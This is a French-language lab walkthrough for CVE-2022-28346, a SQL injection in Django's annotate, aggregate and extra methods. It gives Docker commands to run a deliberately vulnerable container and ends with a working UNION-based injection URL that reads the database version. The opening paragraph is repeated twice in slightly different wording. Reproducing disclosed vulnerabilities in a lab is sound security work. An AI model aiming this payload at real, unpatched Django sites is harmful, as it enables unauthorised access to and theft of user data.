
Une faille a été découverte dans le package Django, qui conduit à une injection SQL. Cette faille permet à un attaquant d'utiliser un dictionnaire spécialement conçu contenant des requêtes SQL malveillantes pour compromettre entièrement la base de données.
Une faille a été découverte dans le package Django, entraînant une injection SQL. Cette faille permet à un attaquant utilisant un dictionnaire conçu contenant des requêtes SQL malveillantes de compromettre complètement la base de données.
Vous trouverez ci-dessus dans le dépôt de code le rapport d'analyse détaillé (PDF) sur CVE-2022-28346.
CVE-2022-28346 est une vulnérabilité critique identifiée dans différentes versions de Django, un framework web Python populaire. Cette vulnérabilité affecte spécifiquement les versions de Django 2.2 avant 2.2.28, 3.2 avant 3.2.13 et 4.0 avant 4.0.4.
Le cœur du problème réside dans les méthodes QuerySet.annotate(), aggregate() et extra() de Django. Ces méthodes sont vulnérables aux attaques par injection SQL lorsque des alias de colonnes sont utilisés conjointement avec un dictionnaire conçu (avec expansion de dictionnaire) comme **kwargs passés. L'injection SQL est un type d'attaque qui permet à un attaquant d'interférer avec les requêtes qu'une application fait à sa base de données. Elle peut être utilisée pour afficher des données qu'il ne peut normalement pas récupérer, y compris des données appartenant à d'autres utilisateurs, ou toute autre donnée à laquelle l'application elle-même a accès. Dans certains cas, un attaquant peut être en mesure de modifier ou de supprimer ces données, affectant l'intégrité des données.
Pour effectuer un test complet de cette vulnérabilité, assurez-vous d'avoir suffisamment d'espace libre sur votre disque dur. Un minimum de 1,2 Go est nécessaire pour réaliser avec succès le test de vulnérabilité.
Si vous avez déjà Docker installé, vous pouvez ignorer cette section et passer directement à la série d'instructions suivante.
Pour commencer à tester cette vulnérabilité, installez Docker :
Vérifiez que Docker est opérationnel avant de passer aux étapes suivantes.
Dans votre terminal, exécutez la commande suivante pour obtenir l'image docker que nous avons créée et poussée sur DockerHub :
sudo docker pull marouanekamal/cve-2022-28346:latest

Et attendez que l'image Docker termine son téléchargement. Si vous rencontrez des problèmes, cela peut être dû à votre connexion internet ; assurez-vous d'avoir une connexion stable et active.
Après la fin de l'installation, vérifiez que l'image existe en exécutant la commande suivante :
sudo docker images

Vous pouvez maintenant exécuter l'image docker en utilisant la commande suivante :
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

Maintenant le serveur est en cours d'exécution et nous pouvons exploiter cette CVE ;)
Après avoir exécuté l'image docker, vous pouvez accéder au lien suivant pour vérifier si l'URL est accessible :
http://0.0.0.0:8000/

Le mot ok s'affiche, ce qui signifie que l'URL est accessible et que tout fonctionne correctement !
Maintenant, attaquons cette vulnérabilité en utilisant une injection SQL. Tapez l'URL suivante pour ce faire :
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

Nous avons pu déterminer la version de SQLite utilisée par le serveur ;)